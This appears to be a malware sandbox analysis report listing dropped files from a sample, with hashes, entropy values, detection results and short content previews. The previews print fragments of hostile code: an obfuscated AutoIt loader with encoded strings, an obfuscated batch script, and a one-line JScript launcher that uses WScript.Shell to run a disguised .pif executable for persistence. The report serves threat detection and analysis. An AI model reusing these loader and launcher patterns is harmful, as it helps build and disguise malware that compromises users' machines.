SSDEEP:	48:eAzsSU4y4RQmFoUeCamfg9qr9t5/78NfRr2qGxJZKaVEouYAgwd64rHLjtvWh:eAzlHyIFKL2I9qrh7KfRAJ5Eo9Adrxs
MD5:	7554CEF8F7328A864CD3CEAA2ADD775A
SHA1:	96FB5550F3A6530F44BDEC1AE9C036C7CB47C805
SHA-256:	37DA7FAFC94228D41820318CA114E70A8AE5B8C63663E7B09F38BD29B28B4395
SHA-512:	3F1882FD8DE830726F537FD0B2103CA7EA1C01CC877606A7899A8690F20B750ED0A8188AB5DB44C08AC00ADFDDAA09A67B07A2D3D5FCF3148357978EDB6B12D3
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\NeuraConnect Technologies\B

Download File

Process:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif
File Type:	ASCII text, with very long lines (2633), with CRLF line terminators
Category:	dropped
Size (bytes):	1213985
Entropy (8bit):	5.424802222912315
Encrypted:	false
SSDEEP:	12288:A96a/UwPRU7iuldXPKzUq0T1Ozd5Ux9BHtV7NdJK8crvosLhjNh4PfAv:pa/UwPRUvldXil01OAJHX/JK1LhB
MD5:	2755A48352BA322E4FB289CC432C2882
SHA1:	4F88077F28D532C45CFEC6A8320BCA36FCEBB773
SHA-256:	6718CA85EE272C4251160CB301D3D5C17A78864EB8DB7100F418A72D053F7A4B
SHA-512:	2D04052FA6582C48F17247A27E227253E4F8669421A1A1C086D4AAE267647B0402F8976C238E7390A9DBE42F15481E4714F3D34F88A9F00A5D77F096FA747737
Malicious:	false
Preview:	Func CryChambers($EXPENSECARRYING)..$experiencesboulderpara = 588..$WellingtonNelsonDisks = 93..While 927..If $experiencesboulderpara = 586 Then..$AccordanceProceedingsFatIntend = 'restorationgrastaobservedrecipientusesmentordozenclosedelectricitysynopsistransmitted'..ObjGet(restorationml("76U81U79U77U91U92U51U80U93U90U92U51U85U81U86U51",56/7))..$CarriedReform = 'PATMORTGAGESCOCKSGENETICSBOBBYNATURALBROWSERFACTMOTHERBOARDCAFELADDERINFLUENCED'..IsDeclared(restorationml("85U70U68U73U79U74U82U86U70U84U65",5/5))..$brochurewelsh = 'onsrepositorydiscussionsromance'..Ceiling(3634)..$AttributesProjectedRetrieved = 'BOUGHTNEIGHBORSSHAMECONSTRAINTSMAMBOCOMMEUROLAYOUTATTORNEYS'..Chr(6319)..$experiencesboulderpara = $experiencesboulderpara + 1..EndIf..If $experiencesboulderpara = 587 Then..$atmosphericfeweralbany = 'DANNYNUDEEXTERIORRESIDENCEMEDICATIONDFGARLICHOSPITALITYPERFORMINGDEALTIMESPEAKINGDISCRIMINATIONCUSTOMSTAGGED'..IsDeclared(restorationml("78U104U108U94U82U101U115U112U111U110U115U105U98

C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.703486562755669
Encrypted:	false
SSDEEP:	3:RiMIpGXfeNH5E5wWAX+aJp6/h4EkD5r1XPuRLjNe+KJKOaDZc5uWAX+aJp6/h4Ei:RiJbNHCwWDaJ0/hJkD1dPuNjN3xOaDZf
MD5:	3E4E334322172D5B27D8E78430CB385D
SHA1:	7C35364C19D0513FD4EE7CB340BFD366828E7D61
SHA-256:	24A6DBC9AB9DBDBD44E20E2433A681CF9970D087C4F00659EB60E6396FBF06EA
SHA-512:	EDD965198E30A35A5FB8D40FB2FFA34FD43C2F457B80391372E485AF76B665B2FF22B01D997120530E3DFC3F0BFF03F940B76711099A63286A7D2543A712CFF3
Malicious:	false
Preview:	new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\NeuraConnect Technologies\\NeuraLink.pif\" \"C:\\Users\\user\\AppData\\Local\\NeuraConnect Technologies\\B\"")

C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	946784
Entropy (8bit):	6.628560786473655
Encrypted:	false
SSDEEP:	24576:LOo8pEnK4mrqlEZuVZ2HOI+X0l1lMZyYFaeBmyF:LF8p4KpqlEZeXI+X0TVcae3F
MD5:	848164D084384C49937F99D5B894253E
SHA1:	3055EF803EEEC4F175EBF120F94125717EE12444
SHA-256:	F58D3A4B2F3F7F10815C24586FAE91964EEED830369E7E0701B43895B0CEFBD3
SHA-512:	AABE1CF076F48F32542F49A92E4CA9F054B31D5A9949119991B897B9489FE775D8009896408BA49AC43EC431C87C0D385DAEAD9DBBDE7EF6309B0C97BBAF852A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.BackdoorX-gen.25314.22004.exe, Detection: malicious, Browse Filename: oX9j1y0RV5.exe, Detection: malicious, Browse Filename: p2xoB50aKi.exe, Detection: malicious, Browse Filename: iZ7kyxHDY2.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 3.exe, Detection: malicious, Browse Filename: 2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L......`.........."...............................@.................................!Z....@...@.......@.....................T...\|....P..h............L..`&...0..,v...........................C..........@............................................text............................... ..`.rdata..r...........................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..,v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	946784
Entropy (8bit):	6.628560786473655
Encrypted:	false
SSDEEP:	24576:LOo8pEnK4mrqlEZuVZ2HOI+X0l1lMZyYFaeBmyF:LF8p4KpqlEZeXI+X0TVcae3F
MD5:	848164D084384C49937F99D5B894253E
SHA1:	3055EF803EEEC4F175EBF120F94125717EE12444
SHA-256:	F58D3A4B2F3F7F10815C24586FAE91964EEED830369E7E0701B43895B0CEFBD3
SHA-512:	AABE1CF076F48F32542F49A92E4CA9F054B31D5A9949119991B897B9489FE775D8009896408BA49AC43EC431C87C0D385DAEAD9DBBDE7EF6309B0C97BBAF852A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.BackdoorX-gen.25314.22004.exe, Detection: malicious, Browse Filename: oX9j1y0RV5.exe, Detection: malicious, Browse Filename: p2xoB50aKi.exe, Detection: malicious, Browse Filename: iZ7kyxHDY2.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 3.exe, Detection: malicious, Browse Filename: 2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L......`.........."...............................@.................................!Z....@...@.......@.....................T...\|....P..h............L..`&...0..,v...........................C..........@............................................text............................... ..`.rdata..r...........................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..,v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\m

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (2633), with CRLF line terminators
Category:	dropped
Size (bytes):	1213985
Entropy (8bit):	5.424802222912315
Encrypted:	false
SSDEEP:	12288:A96a/UwPRU7iuldXPKzUq0T1Ozd5Ux9BHtV7NdJK8crvosLhjNh4PfAv:pa/UwPRUvldXil01OAJHX/JK1LhB
MD5:	2755A48352BA322E4FB289CC432C2882
SHA1:	4F88077F28D532C45CFEC6A8320BCA36FCEBB773
SHA-256:	6718CA85EE272C4251160CB301D3D5C17A78864EB8DB7100F418A72D053F7A4B
SHA-512:	2D04052FA6582C48F17247A27E227253E4F8669421A1A1C086D4AAE267647B0402F8976C238E7390A9DBE42F15481E4714F3D34F88A9F00A5D77F096FA747737
Malicious:	false
Preview:	Func CryChambers($EXPENSECARRYING)..$experiencesboulderpara = 588..$WellingtonNelsonDisks = 93..While 927..If $experiencesboulderpara = 586 Then..$AccordanceProceedingsFatIntend = 'restorationgrastaobservedrecipientusesmentordozenclosedelectricitysynopsistransmitted'..ObjGet(restorationml("76U81U79U77U91U92U51U80U93U90U92U51U85U81U86U51",56/7))..$CarriedReform = 'PATMORTGAGESCOCKSGENETICSBOBBYNATURALBROWSERFACTMOTHERBOARDCAFELADDERINFLUENCED'..IsDeclared(restorationml("85U70U68U73U79U74U82U86U70U84U65",5/5))..$brochurewelsh = 'onsrepositorydiscussionsromance'..Ceiling(3634)..$AttributesProjectedRetrieved = 'BOUGHTNEIGHBORSSHAMECONSTRAINTSMAMBOCOMMEUROLAYOUTATTORNEYS'..Chr(6319)..$experiencesboulderpara = $experiencesboulderpara + 1..EndIf..If $experiencesboulderpara = 587 Then..$atmosphericfeweralbany = 'DANNYNUDEEXTERIORRESIDENCEMEDICATIONDFGARLICHOSPITALITYPERFORMINGDEALTIMESPEAKINGDISCRIMINATIONCUSTOMSTAGGED'..IsDeclared(restorationml("78U104U108U94U82U101U115U112U111U110U115U105U98

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Ada

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	data
Category:	dropped
Size (bytes):	264192
Entropy (8bit):	6.281778420980018
Encrypted:	false
SSDEEP:	6144:uHFq9O0lHPOGUWLhxjRYmFqZvEAOz04pmdV:w0lHPOGNnlMZce4wdV
MD5:	02785C43A2C040A23250A393BD31F65E
SHA1:	DD1EAC34B995DB3E9042AD3C4CC976A1B269694A
SHA-256:	C5F80C51A6BFC433A4CDA5F1F786F96156E4E8ECE8C6D09FAF147C38E6C363EC
SHA-512:	D492C28CEBA9BADF6A1CC89CFBF65EE256606B20890C1536B03832BCC72724DE97B179CFC97F39D9482CB2E24D966610CA8A082CBFE4E76B0D9792BFDF6EC113
Malicious:	false
Preview:	..@8.P......G....x..u..8..3..x.....u.....3......M..........h..I.....I.....tBhd.L.V....I...t2...U.R.1j...h......`...P.u.....I..M...`...P......,...H..\|....D..t..@8.@......\|....D..t..@8.@..........V....I.........u}............M.Qh....j.W.P.....~....M.....s......U.RQ.P..u..}..E..u..P......QLj(..l...P.E.P..`.I..M...l...P......E...P.Q..O....e...M..Qh..J.W....x..u.M.QV...P.....V.Q..u...f.}...........M.Qh....j.W.P............M...........3.G;.u.3.RRR.U.R.....u(3.U.SSRSj.Q.P0.u..M..}....u...@.I..y....U.R.U.RQ.PH..t$.E.P...Q....H..\|....D..t..@8.x..g....E......uR.U.RP.Q..M..E.P.q...A.P..A.PQ..d.I..M....u.Q...R0.........u..M.......u...@.I.......U.R.u.P.Q..}.........E.P...Q..e..3..E.........u.........E..U.!u.RW..P.Q..}.........E..U.RWP...Q..E.U.RP...Q..U.R..B0.E.E.P...QL.M..3.U.9U.vU.E.U.R.U.R..P.Q ..u4.E..U.R.u..P.Q8.E..U.Rj.P...QH.E.;E.E.P.........Q..U.B.U.;U.r..E.P...Q.G;}...8....u...t...........}.........E..U.RP...Q..u.}..E..u..P......QLj(..l...P.E.P..`.I...te.E...u+.M...l...P.y.

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Avoid

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	ASCII text, with very long lines (1642), with CRLF line terminators
Category:	dropped
Size (bytes):	11538
Entropy (8bit):	5.808106027541853
Encrypted:	false
SSDEEP:	192:jwOy153hQUYdlwu3E9BvBb71OlMEVqjveQ6/lMjcEUo/arUuNOcS:cO4c/wNtYNXU
MD5:	1DBF38EAFA3409FD5304C40E59660BE9
SHA1:	E1DF1976D92E2F15CDF870291BEA8BAAEAD29304
SHA-256:	BDCEEFF01EBC601F183853AD92513F3D4FB25C21469EE7E9298408FE94EE258E
SHA-512:	D4F8BB33AAB8729954F5A87B5A884E48237E6A94A396CA323F874FAB9FC9D859ED15B29823F28C1B270259BC078421E33D0F6ACAAC3F734AE134C45296879F41
Malicious:	false
Preview:	Set CtYziAfyYJECwiwJNHeWttrRoCnEzBwTYapjVECu=z..CXdpbIgdunTacnqilFwLLvH=EJXOOoyWzxCyAZtPfrxDZGWL..NxXtRYydFFOKmB=zXYwVVGlAkcHwtLYMjDqNiRCcvPVx..yPCvlwHVPdulvTcs=jUHwnWBlkuc..muLQluFyFUJdRvjTDKYura=wMgGTqkYVkgdlczjMPjns..sleJHGAogCuDKr=AMtzVOtCyebpnksRUkPctElzEbMW..lHLddjriycvjHWGpbeXXLksU=RVCKOnwiQVcMToYgJPPzpb..DlicPZqYfRIndAbdXcyQqkb=TYJwvCBnxhYAHejiPWyUl..INjnRXrGHsNEBRfZBNdlteB=JVpXqryCalfVOYKDxNGHNeAxRQca..Set ZEFkdPWOyFDjlksBxkDrNPsvUpGxOylINXzFKKnoN=t..iecCRoTbFRfRphp=ipBqqcVnhSLRJMcf..BpxmGOkUHFRbupaAzsZkOgMiWfZbe=SvZTIrPQAxdyaPrwuIzdfcctl..bhDdOOSTNcnhAg=DQEVIVWrVodrLnbqVIvFBhpF..hmeICTotEMEQoBdBlIon=uxfxDErJpfGZzxvTxafiZuMS..MiytsEwiQuyMg=ftccvXROuTHPdTdLZHblQbYERLFSD..suyzZrELfUaXqkb=goRyibfroSuQDLaZkTCA..XThihaCSTvMifvvqbuUReli=NoECzLiJWSsfDYTtNlfcxJhgVYNM..JHMLdzyOZmifelbyibmhPr=UMBtUfHxYxwhlEDjENdNLousnQ..NBgmSFPSZPfln=tpUwXjBElUmmduLFl..Set tuTTJVpIcLDbfDRcGZkdBDHoszqagJuzEJuankmZRg=e..wMEWHVmMxTrAnKCfVQzLEpSGb=WcmjmjMSiEPtLzlxZLF..UOJptqVylRTYmoZrjoxQOF=XARyZBlliqREoMdo

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Avoid.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1642), with CRLF line terminators
Category:	dropped
Size (bytes):	11538
Entropy (8bit):	5.808106027541853
Encrypted:	false
SSDEEP:	192:jwOy153hQUYdlwu3E9BvBb71OlMEVqjveQ6/lMjcEUo/arUuNOcS:cO4c/wNtYNXU
MD5:	1DBF38EAFA3409FD5304C40E59660BE9
SHA1:	E1DF1976D92E2F15CDF870291BEA8BAAEAD29304
SHA-256:	BDCEEFF01EBC601F183853AD92513F3D4FB25C21469EE7E9298408FE94EE258E
SHA-512:	D4F8BB33AAB8729954F5A87B5A884E48237E6A94A396CA323F874FAB9FC9D859ED15B29823F28C1B270259BC078421E33D0F6ACAAC3F734AE134C45296879F41
Malicious:	false
Preview:	Set CtYziAfyYJECwiwJNHeWttrRoCnEzBwTYapjVECu=z..CXdpbIgdunTacnqilFwLLvH=EJXOOoyWzxCyAZtPfrxDZGWL..NxXtRYydFFOKmB=zXYwVVGlAkcHwtLYMjDqNiRCcvPVx..yPCvlwHVPdulvTcs=jUHwnWBlkuc..muLQluFyFUJdRvjTDKYura=wMgGTqkYVkgdlczjMPjns..sleJHGAogCuDKr=AMtzVOtCyebpnksRUkPctElzEbMW..lHLddjriycvjHWGpbeXXLksU=RVCKOnwiQVcMToYgJPPzpb..DlicPZqYfRIndAbdXcyQqkb=TYJwvCBnxhYAHejiPWyUl..INjnRXrGHsNEBRfZBNdlteB=JVpXqryCalfVOYKDxNGHNeAxRQca..Set ZEFkdPWOyFDjlksBxkDrNPsvUpGxOylINXzFKKnoN=t..iecCRoTbFRfRphp=ipBqqcVnhSLRJMcf..BpxmGOkUHFRbupaAzsZkOgMiWfZbe=SvZTIrPQAxdyaPrwuIzdfcctl..bhDdOOSTNcnhAg=DQEVIVWrVodrLnbqVIvFBhpF..hmeICTotEMEQoBdBlIon=uxfxDErJpfGZzxvTxafiZuMS..MiytsEwiQuyMg=ftccvXROuTHPdTdLZHblQbYERLFSD..suyzZrELfUaXqkb=goRyibfroSuQDLaZkTCA..XThihaCSTvMifvvqbuUReli=NoECzLiJWSsfDYTtNlfcxJhgVYNM..JHMLdzyOZmifelbyibmhPr=UMBtUfHxYxwhlEDjENdNLousnQ..NBgmSFPSZPfln=tpUwXjBElUmmduLFl..Set tuTTJVpIcLDbfDRcGZkdBDHoszqagJuzEJuankmZRg=e..wMEWHVmMxTrAnKCfVQzLEpSGb=WcmjmjMSiEPtLzlxZLF..UOJptqVylRTYmoZrjoxQOF=XARyZBlliqREoMdo

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Conf

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	ASCII text, with very long lines (2633), with CRLF line terminators
Category:	dropped
Size (bytes):	1213985
Entropy (8bit):	5.424802222912315
Encrypted:	false
SSDEEP:	12288:A96a/UwPRU7iuldXPKzUq0T1Ozd5Ux9BHtV7NdJK8crvosLhjNh4PfAv:pa/UwPRUvldXil01OAJHX/JK1LhB
MD5:	2755A48352BA322E4FB289CC432C2882
SHA1:	4F88077F28D532C45CFEC6A8320BCA36FCEBB773
SHA-256:	6718CA85EE272C4251160CB301D3D5C17A78864EB8DB7100F418A72D053F7A4B
SHA-512:	2D04052FA6582C48F17247A27E227253E4F8669421A1A1C086D4AAE267647B0402F8976C238E7390A9DBE42F15481E4714F3D34F88A9F00A5D77F096FA747737
Malicious:	false
Preview:	Func CryChambers($EXPENSECARRYING)..$experiencesboulderpara = 588..$WellingtonNelsonDisks = 93..While 927..If $experiencesboulderpara = 586 Then..$AccordanceProceedingsFatIntend = 'restorationgrastaobservedrecipientusesmentordozenclosedelectricitysynopsistransmitted'..ObjGet(restorationml("76U81U79U77U91U92U51U80U93U90U92U51U85U81U86U51",56/7))..$CarriedReform = 'PATMORTGAGESCOCKSGENETICSBOBBYNATURALBROWSERFACTMOTHERBOARDCAFELADDERINFLUENCED'..IsDeclared(restorationml("85U70U68U73U79U74U82U86U70U84U65",5/5))..$brochurewelsh = 'onsrepositorydiscussionsromance'..Ceiling(3634)..$AttributesProjectedRetrieved = 'BOUGHTNEIGHBORSSHAMECONSTRAINTSMAMBOCOMMEUROLAYOUTATTORNEYS'..Chr(6319)..$experiencesboulderpara = $experiencesboulderpara + 1..EndIf..If $experiencesboulderpara = 587 Then..$atmosphericfeweralbany = 'DANNYNUDEEXTERIORRESIDENCEMEDICATIONDFGARLICHOSPITALITYPERFORMINGDEALTIMESPEAKINGDISCRIMINATIONCUSTOMSTAGGED'..IsDeclared(restorationml("78U104U108U94U82U101U115U112U111U110U115U105U98

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Imaging

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	data
Category:	dropped
Size (bytes):	284672
Entropy (8bit):	6.7111298454087125
Encrypted:	false
SSDEEP:	6144:nwU0Wyw3mFygyE4mqd12lqlEAehuqN8zwNzlmhPL1b5nZ2tZ6lfA6d:nr0Wyw20K4mqClqlEZuB1b5Z2tZ6Xd
MD5:	EAD6F8DB6759E6E9E2F4B7708A96AC92
SHA1:	FFB1D6010A38D57F8B77C0CD0085FFA790C8AEDE
SHA-256:	87FBFECD918F36439ED5D682B4A221E15BE4612CDD02FD7E565946650968B908
SHA-512:	1693E94F7189097BE1EE1D42AB88402D12247E7B76BDCD842ADFD22C70A25AAEC4A82A715B82D4D8DC5BED43185CFD228D3C0E2A60CA51D787ED4F5F3425FF8B
Malicious:	false
Preview:	.M.W..<.I.....M.......u._..^.U..QSVW.}............M..0.E...t...........}.....J.h....j.S..p.I.....uP..0.I...Wu5j.ht.J.S..........t!j.h..J.S.........t.VVS..p.I.....3...u..M.........M......t.V....I...u....;}...V...3._^[.....U..E.W.<...M.......L.....3.....u.3..D..t....<V.u..u......YY..t..u.P....I.....t.V.5...Y......j..'...Y..3.^_].U..Vh..J.h..J.h..J.j..w..........t..u.......I...^].^].%..I.U..Vh..J.h..J.h..J.j..<.........u...t.......I.........I.^].U..Vh..J.h..J.h..J.j............u...t.......I.........I.^].U..Vh..J.h..J.h..J.j............u..u...t.......I.........I.^].U..Vh..J.h..J.h..J.j............t..u....u..u.....I......u..u...8.I.^]...M....M.3.;.V.5..L........B.0.@.;.u.^.U..}..u'V...M..>.t..>.t..6....I..&........M.u.^]................SVW.T$..D$..L$.URPQQh.;B.d.5.......L.3.D$.d.%.....D$0.X..L$,3..p....t;.T$4...t.;.v..4v.\.....H..{..u.h.....C...........C......d........._^[.L$..A..........t3.D$..H.3..<...U.h..p..p..p..>......].D$..T$..........U.t$.........L$..).q..q..q(....

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Organ

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	data
Category:	dropped
Size (bytes):	142944
Entropy (8bit):	5.969459394945841
Encrypted:	false
SSDEEP:	3072:b6jKj+wsxjgarB3RZgDWy4ZNogXJ3i2Umb2Oq:b64EgarxUaBZ2myoG
MD5:	6B960EF62185ED62F077876EADCC43BA
SHA1:	43145A1CAD268EB3A9E83976220C1FEF520C9178
SHA-256:	AFA04BC5E7565DC55796122C222B1BF313A9EACCEE9950C47A7E3B0FE1E3E81A
SHA-512:	99F644DF6343D6C875F772C3131191BB9DBB43E7A4C8D8541CD6BAFAEA7E4BDA1C92CE598B3795779F426B055F87631331489620B6BDF454C4820A374D7A7069
Malicious:	false
Preview:	.................*.+.,.-......7.8.9.:......D.E.F.G......Q.R.S.T......^._.`.a......j.k.l.m...........................@...................`........................... ................... ...........@....................................................................... ...............................................................................................................................................\.P.{.N.d.}.....\.P.{.X.p.s.}...\.p.{.X.p.s.}.......................................................................................................................alpha.lower.upper.alnum.ascii.blank.cntrl.digit.graph.print.punct.space.word.xdigit.\.P.{.X.w.d.}...\.p.{.N.d.}.....................\.h.....\.P.{.L.}...\.p.{.L.}................MARK.ACCEPT.COMMIT.F.FAIL.PRUNE.SKIP.THEN..\.P.{.L.l.}...............................M.....=.%...N.+...f.5...\.;.....C.....L...].S.....[.....d.....j.....l.........B.....g................._.....C.........................................>...........

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Phd

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	data
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.611164856526023
Encrypted:	false
SSDEEP:	3072:Ufza6iyY5tVGvH7fsUQwHJJX4xF5jtHk5B+LNBI:Ufm608DsvqJX4xNAB+g
MD5:	34BF8C86E3DBF86DCB7757C149E9F093
SHA1:	073875E0FF5BF3F02E4A7364771D285D4278B099
SHA-256:	B6D1D4992A081AC54315204C8F8E0A269582D0C8D58A05ECAE9A1FBEC9427358
SHA-512:	A3F157D609E776E3A2D9F5D50CFA699B89508F58ABA0775428C941067881FAC3E74FD8BF54D66368E8A83D841FC6184D9B682568496CD471ABDE45C44DFFC30A
Malicious:	false
Preview:	.v.....j.Xf.E...S.Nq..Y..E.P..p.I....v......._^..[....U..Vj...q.....E.Yf.8.u..H....H...t...Q.P....&...^]...U..E.SVW.X.S..`.I........;.~...AQ..p..Y...O.3.PPQVj.SPP....I._..^[]...U..QQVj..p...U...j..E.P.J..M..J.V.M.........^....U..VWj..hp..Y..W..l.I..u.VW....I...y..f...f...._^]...U..E.SVW.X.S..`.I.......;.~...3.@j.Z.........Q..p....Y..t.SW....I.3.f..w.._^[]...U..S.].V.u.W.}.S...W.E.....I...xWf...tLf.}..j.Yr.f...w......f;.t2f;.u.j..w......Vj.WW..D.I.j...Xf9.u.j..w........x.3.@..3._^[]...U..SVW.}.j....[f;.......j.ZjHYj.^f;.v.f;.vnf;.ti.]..u.SV..8.I...ypf...uj.{.V.....E...M...p.I.j.Xf;.t#j.Yf;.v.j.Yf;.v.jHYf;.t..E.f...G..%f...E.PW.......u.V..p.I.W.u.f...W....F._^[]...U...(S.] VW.}.f.?$..O....E.P..l.I..G..U.3.RV.u.u..VP.Q(.u.u..................G..U.3.WR..WWP.Q,.........}...@...E...E f..t/.u.j....X..f..R..p.I...f....f...E .@..D.......@.3.A+....E.E .@..E.3..E..........N.j..M..M.^.}......R....E ..p.I.....M....f.4......E.9E.u..u.!..E PQ.}..........E ...E..}..M.f.4P........

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Producing

Download File

Process:	C:\Users\user\AppData\Roaming\ClassroomEc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142336
Entropy (8bit):	6.406248037321785
Encrypted:	false
SSDEEP:	3072:pPpU08BjlWTPJth26X7Sn4UfpLUNN9t68cCWlrss4M5i9:LQBk7JjX74cN0lrzt4
MD5:	FD88002B2C4106D99DB3171C2F55B007
SHA1:	9E4FDC1C725805000ECDA278E02AE39B7C04E12E
SHA-256:	64E46C6062D2165105A22E023A92BD2F20C3751A6CE3CEE6053FBB33C9E05D40
SHA-512:	CBB8A2110FBDA84322D92FB15D6473333AD4DF43B780A0E76443509755291121893DF1A6F2B67E3C80AECBB6F5B6586B217CE8EEC5EDD3F4B92FEAD9298376FC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L......`.........."...............................@.................................!Z....@...@.......@.....................T...\|....P..h............L..`&...0..,v...........................C..........@............................................text............................... ..`.rdata..r...........................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..,v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2v2jn1t4.h02.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3cnqh3l.5sy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_da2veqxz.54w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
